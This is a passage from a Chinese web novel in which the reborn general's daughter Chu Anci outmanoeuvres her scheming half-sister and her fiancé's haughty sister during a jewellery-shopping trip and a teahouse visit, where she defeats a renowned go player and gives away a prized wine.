随即又眼神满含嫌弃,“我怎么没在京城见过她?潇雨,这是你家的穷亲戚?”
楚安辞闻言,不禁看了看自己今日的穿着和打扮,心道:我这一身穷?
虽然看着不显眼,比较素净,但识货的都能看出我的衣服是上好的云锦做的,就连上面的绣工,都是最好的苏绣。
更何况发钗也是价值百两,她是如何看出我穷酸的?
楚潇雨闻言,不动声色地看了楚安辞一眼,介绍道:
“这是我嫡姐,刚从北境归京,今日带姐姐出来走走,熟悉一下京城。”
沈琼珠看向楚安辞,道:
“原来你就是那位自小就与我哥哥定下婚约的,楚家大小姐?”
楚安辞听到婚约,面容上带上几分娇羞,声音柔柔的,“嗯,是我!”
但垂下的黑眸眸底,确实一片暗芒。
沈琼珠她印象深刻,在侯府的日子,可没少被她刁难。
沈琼珠性格本就不好,是个极其不好相与的小姑子。
仗着与楚潇雨关系好,上辈子可是没少明里暗里的欺负她。
而沈厉岚又是个宠妹妹的,即便受欺负的是自己,沈厉岚依旧还是会站在妹妹那边,帮着她们教训自己。
所以楚安辞一点都不喜欢沈琼珠,重活一世,也没打算和她好好相处。
沈琼珠淡淡看了她一眼,没再多言,对楚潇雨道:“我已经让这里的管事给我们拿了最好的过来,一会你帮我看看,我的首饰都没得带了,需得再添置一些才是。”
楚潇雨点头,“好。”
沈琼珠这才又看向楚安辞道:“你在北境应该也没见过什么好东西吧,一会就让你掌掌眼,这也是看在潇雨的面子上。”
沈厉安道:“琼珠妹妹,话可不能这么说,人毕竟是将军府大小姐,怎可能那般没见识?”
沈琼珠道:“二哥,你懂什么?”
“咱们京城的东西,尤其是翡翠阁的珠宝首饰,可是京城最好的,她在北境那偏僻的地方,怎可能见到?我这也是好心!”
沈厉安撇嘴,凑到楚安辞对面坐下,“沈大小姐一会看看可有喜欢的,本公子给你买。”
沈琼珠道:“二哥,男女私相授受,你这是看上她了不成?”
沈厉安神色一滞,“我不是那个意思,这可是大哥的未婚妻,堂妹别乱说。”
沈厉岚也脸色一沉,“妹妹,休得胡言,姑娘家的名声岂能乱说?”
沈琼珠不悦,想要说什么,被楚潇雨拉住,这才按捺下来,但脸色也不是很好看。
看向楚安辞的眼神更加带有敌意。
嘟囔道:“她这样蛮荒之地来的,怎配嫁进我们侯府?”
楚安辞嗤笑一声,将手中茶杯放下,“我有喜欢的,我自己会买,就不劳沈二公子了。”
这话是对沈厉安说的。
沈厉安讪讪一笑。
接着又道:“沈小姐此言,是在说我将军府,配不上你们侯府。”
“还是指,我爹爹,哥哥,甚至北境的将士,在你们侯府眼中根本算不得什么?”
她神色冷厉一改之前柔弱可欺的状态。
自从回来,楚潇雨第一次见到这样的楚安辞,也愣怔住了。
沈琼珠恼怒,“我说的不对吗?”
“住口!”见妹妹越说越无礼,沈厉岚出声制止。
京城谁人不知,他们宣平侯府早已无实权,比起兵权在握的楚行大将军,他们侯府现在算什么?
要说配,那也是宣平侯府配不上将军府。
至于楚安辞,她是来自边关,他心里也有些瞧不上。
可是这话不能说出来,只能在心里想想。
如果今日传出宣平侯府瞧不上定北大将军,更加瞧不上北境护卫百姓安宁的将士,那他宣平侯府还怎么在京城立足?
别说皇帝如何看待,就是京中勋贵也会将他们骂死。
被兄长警告,沈琼珠更是不悦。
沈厉岚对楚安辞道:“舍妹说话无撞,请楚大小姐勿怪。”
楚安辞将之前的气势一收,无辜的看向他,“沈小姐年纪小,我不会同她介意的。”
“只是边军确实苦寒,我在那里生活了十几年,那里就相当于我的第二个家,有人在我面前说那里不好,我心中确实有些不悦。”
“虽然距离京城远,但那里的人很是淳朴的。
尤其是守卫边境的将士,都是忠义儿郎,所以我不希望有人瞧不起他们。”
“刚刚我也是因为有人贬低我父兄,和手边国朝的将士,我这才......”
“是我不好,对不起,我向沈小姐道歉,还望沈小姐不要介意我刚才的无礼!”
她眼中擒着泪,将落不落,看向沈琼珠。
见到这副模样的楚安辞,沈琼珠心头一梗,恨不得上去扇楚安辞两巴掌。
但被沈厉岚警告,只得忍了下去,可是尖尖的指甲几乎嵌进了肉里,手狠狠握在一起。
虽然知道楚安辞在偷换概念,但沈厉岚也不能与她争辩,又见楚安辞这样,他只能道:“大小姐说的是,北境虽然寒苦,但听人说也是个不错的地方,也有京城都不及的风景。”
他决定不解楚安辞刚刚的话,而是换了个话题。
楚安辞也没追着不放,点头,“是啊,北境靠近雪山,常年积雪不化,可好看了。”
“站在雪山顶,犹如进了仙山,可惜那里太冷,爹爹和哥哥都不让我去。”
脸上露出向往,怀念,而后失落的样子,似乎刚刚质问沈琼珠的人不是她。
这样的楚安辞,面容娇俏,眉眼极软,不禁让在场的两位男士看入了神。
这时翡翠阁的管事带人端来一些首饰,整整齐齐的摆放着。
沈琼珠心里还记着刚才楚安辞还自己被兄长呵斥,随手拿起一只金步摇道:
“哼,这样好看的首饰你应该没见过吗?”
“看在你是潇雨姐姐的份上,这个赏你了!”
赏?呵,她配吗?
楚安辞心中冷笑,抬手抚了抚自己头顶的白玉簪,装作没听出她话中意味的模样,道:
“这个很贵吧?我喜欢的自己买就是,怎好劳沈小姐破费。”
她避开沈琼珠伸过来的手,指着盘子里几个看着最贵的首饰,一一点过,“这个,这个,还有这个,哦,这对镯子我也喜欢。”
“掌柜的,这几件我都要了,一会包起来给我丫鬟就是。”
掌柜的高兴坏了,“好好,小的这就去。”
眼看着里面最好的几件首饰都在楚安辞选走了,沈琼珠道:
“你......哼,果然是乡下来的,这么多你能付得起吗?”
“不会吧?难道你要拿回去,让将军夫人用府中的银子帮你买?”
“将军府再有钱,那也不是你一个人的,岂容你这般挥霍?”
楚安辞却不以为意,“谢沈小姐关心,不过不用花府里的银钱的,我自己有的。”
楚潇雨一下就想起了楚安辞带回来的那些箱子,据说里面有整整五大箱的金银锭子。
沈琼珠道:“你有钱?你一个刚回来的野丫头,哪来的钱,就算将军心疼你,也不会给你银子这般挥霍。”
白灼在一旁心道:我们将军都是小姐养着的,小姐想要怎么花,将军才不会多说一个字呢!
楚潇雨不想要楚安辞这般挥霍,花一点少一点,她还算计着回头想个法子,把那些银钱转到自己手里呢。
她起身道:“姐姐,这些确实有些多了,即便爹爹给了你银钱,也不能这般花费的。”
“姐姐我看还是算了吧,你喜欢哪个,选一个,回头让他们送回府里,让府里结账。”
“但是这么多,你也带不过来,都买回去岂不是浪费?”
楚潇雨一番话说下来,定死了楚安辞是在挥霍将军府的银钱。
话里话外的,还说她不会持家,花银子大手大脚,挥霍无度。
这样的话传出去,谁家愿意娶一个这样不懂持家的儿媳回去?
第11章 是这样吗?可是我都好喜欢
楚安辞眨了眨眼,“不会呀,我还有白灼和蓝英,她们和我一起戴,所以不会浪费的。”
“掌柜的,都包起来吧,我有银子的,现在就给你结账。”
掌柜的拿着楚安辞选好的东西道:“好嘞,小的这就去。”
楚潇雨眼见掌柜拿着那些首饰去打包了,焦急道:
“姐姐,我知道你刚回来,不想被人以为你拮据,但也不是这样花钱的。
我看还是算了吧,你这般大手大脚,将来嫁人了到了婆家,会被说不贤良的。”
说话的时候,她眼睛还有意无意扫过沈厉岚。
沈厉岚眉头早就皱在了一起,这些首饰加起来,上百两是有了,这样铺张浪费,挥霍无度的女子娶回家,岂不是败家吗?
“沈妹妹说得有道理,姑娘家花钱不能如此不知节制,我看那些还是别要了。”
“如果实在喜欢,选一样就是。”
楚安辞莫名地看着二人,面上满是疑惑。
“是这样吗?可是这些我都好喜欢的,怎么办?”
“我用我自己的私房买,不花府里的银钱也不行吗?”
“难道在京城,不能这样随意买东西?”
“还是说大家小姐有什么规矩,买喜欢的东西只能买一样,不能买多了?”
“如果是这样,那真是可惜了!难得出来一趟,还遇到了自己喜欢的。”
楚安辞这般说,让沈厉岚也无法再说什么了。
难道他一个大男人,还要管人家一个未出阁的女子买什么不成?
更何况,京中确实也没有这样的规矩,人家喜欢买什么,怎么买,买多少,关他什么事?
楚安辞又看了看沈琼珠选出来的三样小饰品,每一个都很精致,但是价格比起自己选的可是可远了。
那三样加起来,估计也有二十两顶天了。
她指着那几样首饰,道:“可是沈小姐也选了好几样呢!”
“沈小姐,要不你也选一个自己最喜欢的吧,这样多好像是不行的。”
她眼神清澈灵动,看看沈琼珠,又看看沈厉岚。
对上沈厉岚的时候,眸中似是再说:我说的对吧?
沈厉岚一滞,“不是,只是我觉得楚大小姐买的......有些......”
他怎么说,难道说她花钱太多了?
他一个男人,管人家一个姑娘花钱多少成何体统?
即便是自己的未婚妻,但也还未嫁过来,花的也不是自己的钱不是吗?
沈琼珠现在又气又恼,又嫉妒,完全不想说话。
自己选的加起来不过二十两,怎能和她选的上百两相比?
沈厉安笑道:“沈大小姐,你真的有那么多银子?”
楚安辞点头,“嗯,有的。”
沈厉安尴尬一笑,“呵呵,虽然是花你自己的银子,不过那可是上百两,你确定能拿得出来?”
不用楚安辞回答,白灼已经拿出了一沓银票,点出一百两,然后将剩下的塞回自己怀里。
这一幕看得沈厉安都傻了,他咽了咽口水:这姑娘竟然这么有钱!
如果我没看错的话,那足足至少有一千两吧,什么人出门竟然带这么多银子?
相传定北大将军家资颇丰,原来是真的。
难怪大伯父和大伯母一定要大哥娶楚家女。
见此,其他几人突然就说不出话了。
人家有钱,又没花自己的,管的着吗?
即便如此,楚潇雨也不再阻拦,只是道:
“既然姐姐真心喜欢,那妹妹就不多说了。”
“只是以后姐姐嫁了人,切勿这般花钱大手大脚才是。”
沈琼珠紧接着道:“对啊,到了我们侯府可不能这般花钱,这样的女子,我们侯府可养不起!”
楚安辞道:“哦,这样啊,那我花我自己的钱也不行吗?”
“你们放心,我绝不会去挥霍夫家产业的,爹爹和哥哥都教导我,即便嫁人了,也要努力自己养活自己的。”
沈琼珠:“那也不行,你的就是......”
“琼珠!”再次收到哥哥的警告,沈琼珠不情不愿的闭了嘴。
沈厉岚深深看了楚安辞一眼,眼中满是不赞同,并道:
“沈大小姐回去好好学学勤加持家才是。”
楚安辞很是认真的点头,“哦,好,我知道的。”
瞎说谁不回,乖乖女这个时候自然要听未婚夫的话,反正自己的目的已经达成了。
白灼付了银子,蓝英拿着那些首饰,随意的背在身上。
沈琼珠的视线有意无意的,就往蓝英后背的包袱看去。
每每看去,就嫉妒的不行。
再看自己丫鬟手里拿着的那个小匣子,一点都高兴不起来了。
“大哥,我想去万方楼坐坐!”她眼珠子一转突然道。
沈厉岚是个惯会宠爱妹妹的,刚才连番呵斥妹妹,心下愧疚。
妹妹既然提了,他便顺势应道:“好,那就去万方楼坐会!”
楚潇雨道:“姐姐初来京城还不知道吧,万方楼是京城最是风雅的地方。”
“那里环境雅致,酒水糕点也都是极好的。”
“里面还有琴棋书画四仙子,与客人一七鉴赏琴棋书画。”
“我之前有幸去过几次,也曾与棋仙子对弈过一局,可惜我棋艺不精,输给了棋仙子。”
“今日前去,也不知是否能再与棋仙子对弈一聚局,或者与琴仙子讨论一下琴艺也是好的。”
“沈哥哥的棋艺很是精湛,也好想看沈哥哥与棋仙子对弈!”
她用仰慕的眼神看向沈厉岚,沈厉岚微微颔首,道:
“棋仙子的棋艺确实精湛,京中能敌过她的不过寥寥几人尔。”
“我虽略通棋艺,但也不敢妄言能胜过她!”
楚潇雨道:“沈哥哥谦虚了,你的棋艺已然是京中同辈中的翘楚!”
“到时如果棋仙子不得空,我真想能与沈哥哥对弈一局,请沈哥哥指点一番!”
沈厉岚笑了笑,没有拒绝。
见此,楚潇雨脸颊微红,甚是满意。
眼角余光却一直暗暗观察着楚安辞,眼神中略带挑衅。
楚安辞当做全然不知,只顾一路欣赏着沿街的铺子,看到有趣的还对身边的白灼念叨两句。
“回头我们来这家铺子逛逛,我看里面的东西还不错。”
白灼则回一句,“是挺不错的。”
“小姐,您看那边的糕点铺子好多人,回头我也来排队买点,给小姐尝尝!”
一副主仆情深的样子,一直跟在几人身后聊着天,似是完全没注意到前面发生的事情。
楚潇雨收回视线,心道:楚安辞,我就不信你真的不在意,等到了万方楼,我定要让你在沈哥哥面前,颜面尽失。
几人到了万方楼,沈厉安让侍者安排一个包间。
万方楼是个雅致之地,二楼三楼都是包间。
一楼虽然不是,但也有隔断遮掩。
侍者识得沈厉安几人,连忙给安排。
刚要引着他们上二楼,门口又进来几人。
只听侍者连忙道:“萧世子,欢迎大驾光临。”
听到萧世子,沈厉安立即回头,随即脸上满是谄媚的笑。
“萧世子,没想到您今日也来了,真是好巧。”
萧起看到沈厉安,道:“唉,你怎么来这里了?你能来这风雅之地,还真是难得啊。”
沈厉安道:“我也是跟着大哥和堂妹他们一起来的,没想到这么巧,竟然遇到了萧世子。”
萧起,国公府世子,也是京中的头号纨绔。
作为背后势力最大,本人又最是嚣张的头号纨绔,自然而然地成了众纨绔之首。
所以同为纨绔的沈厉安,自然对他很是恭敬,宛如萧起的一个小弟。
萧起随意地道:“我今日也是闲来无事,陪我朋友过来坐坐。”
他指了指身边一人。
看到那人,沈厉安不禁身子一缩:这不是京城的冷面阎王吗?早就听闻萧世子与景离关系不错,原来竟是真的!
但他很快反应过来,行了一礼,“宣平侯府沈厉安,见过离都督。”
站在萧起一侧的景离没有说话,也没有打算回应的意思。
这时沈厉岚他们也已经转过身,走了过来。
沈厉岚对景离和萧起见礼。
“萧世子,离都督。”
沈琼珠和楚潇雨也连忙见礼,“沈琼珠/楚潇雨,见过萧世子,离都督!”
行礼的时候,沈琼珠脸颊微红,眼神瞟向面前这位,看似纨绔不羁,但样貌风流的男子。
萧起已经习惯了,毫不在意的摆手,“不必这么客套。”
“沈世子,沈小姐,楚二小姐你们好!”
几人打招呼的时候,跟在他们后面的楚安辞也愣在了那里:这人,这不是......这不是那晚与我过招的那人吗?
他竟然就是镇抚司的头头,景离?
第12章 楚大小姐与我们喝的茶不一样
此时,站在他们对面的景离,视线也锁定在了楚安辞的身上。
女子虽然眼眸微垂,但眉眼生的柔和娇美。
肤白如雪,脸颊微微带着一点红晕。
小嘴晶莹红润。
下垂的眼睫微微煽动,不经意间露出眼帘下面一双灵动的黑眸。
身形娇弱,似乎经不起任何摧残。
楚安辞察觉到有人视线落在自己身上,突然抬头正对上一双打量的黑眸。
眸光微冷,让楚安辞有些心慌,似乎是被看穿了一般。
她心底一颤,连忙低下头去,有种被抓包的慌乱,心脏乱跳:不会被发现了吧?
不应该的,我每次男装都伪装的很好,是不会轻易被人发现的。
她再次抬头看向景离。
而这时景离的视线已经落在了他处,似乎刚刚的一切并没有发生。
楚安辞莫名的一颗心落了地。
“这位小姐是哪个府上的,怎的不曾见过?”
萧起也终于发现了跟在他们身后的楚安辞,被这女子的容貌狠狠惊艳住了。
眸中带着点点星光。
沈琼珠看到萧起的眼神,不悦的道:“这位是将军府那位刚从北境归京的大小姐,楚安辞。”
“也是我大哥的未婚妻。”
她故意加上这么一句,然后看向萧起。
萧起并没有在意沈琼珠那句话,而是一脸愣怔和惊讶:“原来你就是那位楚大小姐?”
想起他之前猜测,楚大小姐有多丑,再对比眼前的娇俏少女,萧起有些汗颜。
为自己之前的先入为主道歉。
这哪里丑了,这样貌完全不输京城任何贵女好吗!
“楚大小姐你好,我是萧国公府世子,萧起!”
楚安辞似是害羞的模样,微微欠了欠身,“见过萧世子!”
犹豫了一下,又对着景离道:“见过,都督!”
“嗯!”
本以为萧起会说话,不曾想却听到了景离喉间发出的一声轻‘嗯’!
就连萧起也愣了一下,他这好友,自己可是最为了解。
除非公务上的需要,他是绝不会搭理任何无关紧要之人的。
难得他竟然第一次有了回应!
见景离也没再多说什么,楚安辞终于松了口气:看来他真的没认出我,那就好!
萧起难得见到美人,心下高兴便道:“刚好遇到,既如此就一起吧!”
沈厉安连忙捧场:“好啊,我们刚定了包间,就在二楼。”
其他人也没拒绝。
几人上楼的时候,萧起和景离走在最前面,楚安辞悄悄的到了最后,心底诧异:他不是在三楼有包间吗?
万方楼的经营模式她是知道的,三楼一整层的包间都是特定的。
每个包间都是给特定的人留的。
既然之前在三楼遇见过景离,那就说明,三楼有专属于他的包间。
但看今日这般,这人是没打算用自己的特权了。
几人进入包房,侍者连忙上了瓜果茶水点心,无一不精致。
等侍者收拾妥当,楚潇雨也自然而然的提起了棋仙子。
她虽然自知棋艺不如棋仙子,但也有意在沈厉岚等人面前显摆。
并且还想在众人面前狠狠的压一压楚安辞。
只是不知道能不能有幸请到棋仙子。
侍者闻言,不动声色的看了楚安辞一眼,见楚安辞没有说什么,便退了下去。
不一会,一位身着白色锦缎束腰长裙的女子走了进来。
身材窈窕,样貌清丽,对着几人微微扶礼。
“慕棋见过各位贵人!”
余光在众人面前扫过,视线在正喝茶的楚安辞身上略微停滞。
楚安辞眼前正守着一个小茶壶,慢慢的品着。
其他人则各自坐在一边,萧起和沈厉岚、沈厉安坐在一起。
沈琼珠和楚潇雨坐在一起。
景离、楚安辞分别坐在一个地方,互不干涉。
这诡异的分布,着实是让人有些摸不着头脑。
萧起已经和沈厉安就这包房内的摆设玩了起来。
楚潇雨起身对慕棋道:“棋仙子,今日我还真是幸运,有幸能请到棋仙子对弈。”
慕棋微微颔首,来到棋桌旁坐下。
先是抬手一指对面的位置,面带不失礼貌的微笑,态度落落大方,就好似他们都是平等的。
这样的姿态,楚潇雨他们这种贵女竟然也不恼,还很是配合。
没办法,谁叫万方楼做的大!谁叫万方楼的四仙子名声在外呢!
就是皇亲宗室的人来了也是一样,更何况她们?
楚潇雨与慕棋开始对弈,沈厉岚和沈琼珠在一旁看着。
楚安辞的视线也看了过来,落在棋盘之上。
但很快她就知道了楚潇雨的棋艺在何种地步,漫不经心的收回视线,目光落回到自己的茶盏上。
这时旁边突然气息一冷,景离竟然坐了过来,就坐在她旁边的位置上。
男人修长,骨节分明的大手随意的拿起一旁的茶壶,给自己倒了一杯茶,放在鼻尖闻了闻。
唇角微微上挑,露出几分邪魅,“庐山云雾!”
“竟不知楚大小姐与我们喝的茶,竟是不一样的!”
楚安辞一怔,随即露出一个甜美的笑,“我身边的丫鬟知道我不喜欢别的茶,这才偷偷让侍者给换了。”
“大人也喜欢吗?请你!”
说着还将茶壶又往景离那边推了推。
景离眼神从茶壶上掠过,视线又扫过楚安辞那张娇嫩柔美的小脸,没再多言。
似乎说那一句,已经是施舍了。
楚安辞也没恼,他不说刚好,自己也落得清净。
楚潇雨很快便输了,她装作不开心的样子,有些撒娇道:
“哎呀,棋仙子的棋艺真是太精湛的,我完全不敌!”
“沈哥哥,你帮我好不好?”
眼含期待的看向沈厉岚。
沈琼珠也道:“是啊,大哥,你与棋仙子对弈。”
慕棋已经快速将棋盘收拾好,指着对面的位子,“沈世子,请!”
沈厉岚一礼,“请棋仙子指教!”
“不敢!”
沈厉岚坐下后,萧起和沈厉安也不玩了,一起看向这边。
楚安辞看了几眼便没再关注,萧起凑了过来,道:
“楚大小姐觉得沈世子棋艺如何?”
楚安辞客观评价:“自然是好的,不过比起这位慕棋姑娘,略有不足!”
萧起挑眉:“这才刚开始下,你怎么就知道沈世子会输?”
楚潇雨闻言,扭过头来道:
“萧世子别介意,我姐姐刚回来,不懂京中这些文雅之事,只是随口说的而已!”
“沈哥哥自小精通琴棋书画,棋艺自然是极好的!”
然后对楚安辞道:“姐姐,我知你想尽快融入京城贵族圈子,但一些事情还是少做评论的好!”
“哦,对了,我忘记了,北境那边不似京城,一定没人教过姐姐这些吧?”
“没关系的,回头我跟母亲提一提,让母亲给姐姐也请一位先生,教导姐姐这些,只是有些东西都是需要从小开始练得,虽然姐姐已经及笄,但也不妨事的。”
“只是需要辛苦姐姐了!”
楚安辞看向楚潇雨,笑道:“真的吗?那真是太谢谢妹妹了!”
“妹妹对我真是太好了,为我考虑的这般周全!”
楚潇雨一梗:谁为你考虑了,我是在贬低你,说你粗俗什么都不懂,什么都不会,你没听懂吗?
萧起看着楚安辞真诚的模样道:“哎呀,那些都是消遣之物,不用非得学的!”
“既然辛苦,还学它作甚?有那时间不如多做些自己喜欢做的事情!”
楚潇雨:“萧世子所言差异,我们京城贵女从小都是被精心教导的,琴棋书画无一不通!”
“如果叫人知道将军府的小姐什么都不会,那岂不是被人嘲笑?”
萧起摆手:“谁会那么无聊?”
看向楚安辞:“楚妹妹,我就不会,像楚妹妹这样的人,无需学习那么多,我说真的!”
见萧起才第一次见面,就称呼妹妹了,沈琼珠眉头紧锁。
“萧世子,你何时与楚大小姐这般相熟了?”
“难道楚大小姐早就暗地里勾搭上了萧世子?”
楚安辞脸色一白,立即起身,“我......我没有,沈小姐怎可这般”
“我与萧世子也是第一次见面的,真的。”
眼看着楚安辞着急的眼泪都要落下来了,萧起不忍,瞪了沈琼珠一眼。
“沈小姐,你休得胡言,我与楚妹妹这是第一次相见。”
“只是觉得楚妹妹人美心善,所以亲近了些不行吗?”
第13章 我可以请人教你
沈琼珠不甘:“既然是第一次见面,萧世子怎么就叫的那般亲切?连楚妹妹都叫上了。”
萧起嘶了一声,“嘶,唉,我叫什么与你有何干系?”
“我父亲与楚大将军本就是老相识了,都是在一起上过战场的,我们两家也算是世交,所以我叫她一声楚妹妹有什么问题吗?”
沈琼珠白了楚安辞一眼,“那你们之前又不认识,第一次就叫的这般亲近,岂不是让人误会?”
“还有,潇雨也是楚家的女儿,怎的就不曾见你这般叫过她?”
萧起冷笑:“哼,我就是看楚妹妹乖巧可爱,怎么啦?”
“并且我母亲和楚妹妹的母亲也有几面之缘,听我母亲说她很喜欢楚妹妹的生母,所以我愿意这般叫她!”
看向极力忍着泪的楚安辞,“楚妹妹,我这么叫你你不介意吧?”
“你放心,我绝对没有冒犯的意思,只是觉得以我们两家的关系,这样叫你更显亲近。”
“你如果介意,我不叫了便是。”
楚安辞一边擦泪,一边摇头,“我不介意的,多谢世子为我说话!”
“不过你也别怪沈小姐,她这么说也是为了我好!”
见她已经这般委屈了,还在为别人说话,萧起很是不忍。
甚至扭头瞪了沈琼珠一眼,对沈厉安道:“你看看你的好妹妹。”
沈厉安讪讪一笑,“世子,你又不是不知道,我堂妹被伯父伯母给惯坏了,您勿怪,勿怪哈!”
然后看向沈琼珠,不停的给她使眼色,叫她不要再说话了。
沈琼珠哪能受这个委屈,还要说话,却被楚潇雨拉了一下,低声道:
“琼珠,萧世子都在护着姐姐,你就先别说了,不然会更惹萧世子不高兴的!”
沈琼珠再次剜了楚安辞一眼,低声回道:“真是狐媚子,都是我哥哥的未婚妻了,还与别的男人勾勾搭搭,不要脸!”
沈琼珠被楚潇雨拉着,重新坐回到沈厉岚他们旁边。
这边沈厉岚的棋局已经可以看出成了一盘死局。
但他依旧不想放弃,还想试着救一救,但最后还是不得不认输。
“我输了,棋仙子棋艺精绝,在下甘拜下风!”
楚潇雨立即道:“沈哥哥已经很厉害了,能与棋仙子对弈这么久,不像我,一会就败下阵来了。”
慕棋微微一笑,“沈世子,楚二小姐过誉了。”
然后便要起身离开,楚潇雨突然道:
“既然来了,又难得有幸见到棋仙子,姐姐,要不你也让棋仙子指点一番?这可是很难得的。”
沈琼珠眼底划过讥讽,也道:“是啊,棋仙子可是京城有名的棋盘圣手,就是很多大人都会败在她的棋下,能得她指点一二,你也是赚了大便宜了!”
楚潇雨看向慕棋,“棋仙子,我姐姐刚从北境回来,也没怎么学过棋,只是机会难得,你不会介意吧?”
“如果棋仙子实在觉得姐姐......不过那也没关系的。”
后面那话什么什么?
言外之意就是,楚安辞她实在拉胯,配不上与慕棋对弈吗?
慕棋看了楚潇雨一眼,眼底闪过意味深长的狡黠,看向楚安辞。
“楚大小姐可愿手谈一局?”
萧起道:“楚妹妹,你不想下棋也没关系的,我就觉得下棋无趣的很!咱们也可以玩别的。”
沈琼珠立即道:“萧世子,人家楚大小姐还没说什么呢?你紧张什么?”
楚潇雨道:“姐姐,没关系的,我也只是觉得机会难得。”
楚安辞将茶盏放下,起身道:“我知道妹妹为我好,既如此那我就献丑了。”
沈厉岚眉头微粗,“楚安辞,不会下也不丢脸!”
楚安辞看他一眼,笑道:“沈世子不必为我担心,我也觉得妹妹说得对,机会难得,我也想多学一学的!”
沈厉岚眉头蹙的更紧了,“棋仙子的棋艺,不是你能来得了的,如果实在想学,回头我可以......”
楚潇雨紧张的看向沈厉岚,“沈哥哥!”
沈厉岚看她一眼,接着道:“我可以请人教你!”
“我认识几位棋艺不错的老师,应该可以指导你!”
楚安辞欣喜,还眼睛亮晶晶的看向沈厉岚,“真的吗?那谢谢你沈世子!”
众人以为她就此放弃了。
但紧接着,就看到她顺其自然的坐了过去,对慕棋笑道:
“棋仙子,请多多指教!”
沈厉岚眸色微凝,觉得楚安辞这是在自讨苦吃,不自量力。
楚潇雨也一副看好戏的样子,等着楚安辞丢进脸面,被慕棋杀的落花流水。
萧起则有些担忧,生怕这么可爱的小妹妹,因此受到打击。
要知道他向来可都是怜香惜玉的。
忍不住对慕棋道:“慕棋姑娘,你可要手下留情啊!”
慕棋笑笑,对楚安辞道:“楚大小姐,请!”
楚安辞抬起玉指,落下第一子,“那我就不客气啦!”
一旁看着的景离,眼中饶有兴味,很想知道这女子是真傻,还是装傻。
明知道她们不怀好意,想要故意让她出丑,她还巴巴的凑上去。
但视线上移,落在楚安辞的脸上。
只见她手上动作不停,可是眉眼依旧如之前那般,放松自在,不以为意。
再看棋盘,竟然与慕棋势均力敌。
而慕棋的神色,已经从最开始的轻松坦然,转变为郑重。
一旁沈琼珠还道:“下不过就直接认输,楚安辞,输给棋仙子不丢人的,更何况你一个从边远地区刚刚归京的。”
楚安辞抬眼,对着沈琼珠一笑,“多谢沈小姐为我想好退路,不过我觉得我应该还可以!”
楚安辞不接招,让沈琼珠一而再再而三碰上软钉子,让她心中怒火更甚,更加不喜楚安辞了:
你给我等着,等你嫁到我们宣平侯府,我不会让你有好日子过的。
棋局继续,景离已经喝完了两盏茶,她们还没结束。
沈厉岚视线一直落在棋盘上,从一开始的不赞同,到后来的不以为意。
然后到此刻的凝眉、郑重和惊讶:她竟然会下棋,甚至棋艺不属于我!
终于,楚安辞一子落下,语气愉悦,“我赢了!”
“多谢慕棋姑娘让着我!”
慕棋摇头,“不,是小姐棋艺高于我,慕棋甘拜下风!”
沈琼珠惊讶:“怎么可能?你怎么可能会赢?”
“棋仙子,你是不是故意让着她?”
沈厉岚摇头道:“她没有,棋仙子没有让着楚大小姐。”
沈琼珠不懂棋,但是懂棋的人看的清楚,确确实实是楚安辞赢了。
楚潇雨艰难的扯出一抹笑,“那个,没想到姐姐竟然会下棋,你怎么不早说,害我为姐姐担心。”
“不过幸好,姐姐赢了,还略胜了棋仙子一筹,姐姐已经很厉害了!”
楚潇雨故意将楚安辞的胜局,由大转小,然后还暗戳戳的说楚安辞故意的,故意不说她会下棋。
刚刚沈厉岚说给她找老师,她竟然还答应了。
现在这不是在打沈厉岚的脸吗?
果然,沈厉岚的脸色此刻很是难看,感觉自己就好像个小丑,从未如此丢过人。
慕棋的棋艺在京城已然难得,什么样的老师比她还厉害,又有谁能教的了能赢了慕棋的楚安辞?
但楚安辞却道:“咦?不是妹妹想要我和慕棋姑娘下棋的吗?”
说完,她还一脸无辜的看向楚潇雨。
接着她又有些不好意思道:“其实我也没想到我竟然这么厉害!”
“之前在北境我也会和哥哥一起下棋,每次我都被哥哥杀得片甲不留,所以我以为自己棋艺很差的。”
“原来竟是哥哥太厉害了!”
楚潇雨几人又是一梗,心里憋着一口气,上不去下不来,甚是难受。
就连想要说什么沈厉岚,对上她这无辜的样子,也无话可说。
景离看着棋局,心道:这样一个看起来柔弱的小姑娘,在棋盘上竟然大开大合,攻防有序。
甚至杀伐果断,步步为营,这样的人,不应该如此。
那种违和感,让景离忍不住又一次将视线落在楚安辞的身上。
第14章 赠酒——醉清欢
气氛有些紧张的时候,侍者也端着菜进来了。
慕棋趁机告退。
万方楼的菜品都是顶好的,唯一的缺点就是有点贵。
不过萧起说了,他请客,大家也就都不在意那么多了。
看着一道道精致的菜端上桌,沈琼珠忍不住又想要讥讽两句。
就在这时,一侍者端着一小坛酒进来,在楚安辞身边站定。
“楚大小姐,这是我们慕棋姑娘送与您的醉清欢,慕棋姑娘说了,难得遇到对手,欢迎楚大小姐常来,她也想与小姐多多请教。”
楚安辞道谢,侍者放下酒便离开了。
萧起先一步上手拿起酒坛,打开闻了闻,“真的是醉清欢!嗯~香!”
沈琼珠惊讶,“怎么可能,这可是醉清欢,怎么就送给她了?”
楚潇雨脸色也很是难看,但她还是道:
“姐姐,你的运气还真是好,你不知道吧,这醉清欢可以万方楼的招牌!”
“在外面千金难求,在这里也每日限量,一小壶价值百金。”
“这醉清欢刚出来的时候,还有人为它做了一句诗。”
“且将尘事忘,一饮醉清欢。”
“就是我们,都不曾尝过一杯!”
她嫉妒的眼神看着楚安辞,眼角余光却撇到一直盯着酒的沈厉岚,心念一转道:
“姐姐,这醉清欢难得,很多人想买都买不到,今日竟让姐姐得到了,我们喝了也是可惜,不若就送给沈哥哥吧!”
“沈哥哥是你的未婚夫,也没有便宜了外人,说不定,沈哥哥还能用在更关键地方。”
她可是一直知道,沈厉岚想要得到国子监祭酒闻人先生的指点,可是偏偏一直没有找到机会。
而这位闻人先生没什么别的喜好,唯有两样,一个是画,一个便是酒。
而酒,自然独爱醉清欢。
可惜价格太高,他很难喝到。
沈厉岚闻言,眼睛一亮,眼含期待的看向楚安辞。
楚安辞心中冷笑:还真会想,我的东西,拿来给你们两位做嫁衣,想什么好事呢?
对我又有什么好处?
如果真的给了,沈厉岚也不会念我的好,只会觉得我应当这么做,反而还是更加感谢提出这话的楚潇雨。
我可以成全你们,但不代表就得牺牲我的东西。
她拿过萧起手中的酒坛,也跟着打开闻了闻,“嗯,真的好香,果然是好酒!”
“难怪这般难求,确实配得上它的价值!”
“只可惜,我不善饮酒,所以......”
她抬眼看向沈厉岚,沈厉岚心中一喜,刚要起身去接酒,就见沈安辞起身来到景离旁边,道:
“大人,您是我们这里最有身份的人了,您如果不嫌弃的话,我就借花献佛,将这酒送给您!”
所有人都是一静,齐齐不可置信的看向楚安辞。
